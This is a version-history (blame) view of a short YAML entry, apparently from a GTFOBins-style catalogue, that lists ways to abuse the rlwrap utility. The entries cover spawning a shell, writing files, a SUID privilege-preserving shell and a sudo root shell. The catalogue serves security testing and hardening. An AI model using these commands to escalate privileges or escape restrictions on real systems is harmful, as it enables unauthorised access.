2018-06-03 20:18:43 +00:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 17:55:38 +00:00
|
|
|
shell:
|
2018-07-16 13:01:50 +00:00
|
|
|
- code: rlwrap /bin/sh
|
2018-06-03 20:18:43 +00:00
|
|
|
file-write:
|
2018-07-16 13:01:50 +00:00
|
|
|
- description: This adds timestamps to the output file. This relies on the external `echo` command.
|
|
|
|
code: |
|
|
|
|
LFILE=file_to_write
|
2018-08-20 12:35:43 +00:00
|
|
|
rlwrap -l "$LFILE" echo DATA
|
2018-10-05 17:55:38 +00:00
|
|
|
suid:
|
2018-07-16 13:01:50 +00:00
|
|
|
- code: ./rlwrap -H /dev/null /bin/sh -p
|
2018-10-05 17:55:38 +00:00
|
|
|
sudo:
|
2018-07-16 13:01:50 +00:00
|
|
|
- code: sudo rlwrap /bin/sh
|
2018-06-03 20:18:43 +00:00
|
|
|
---
|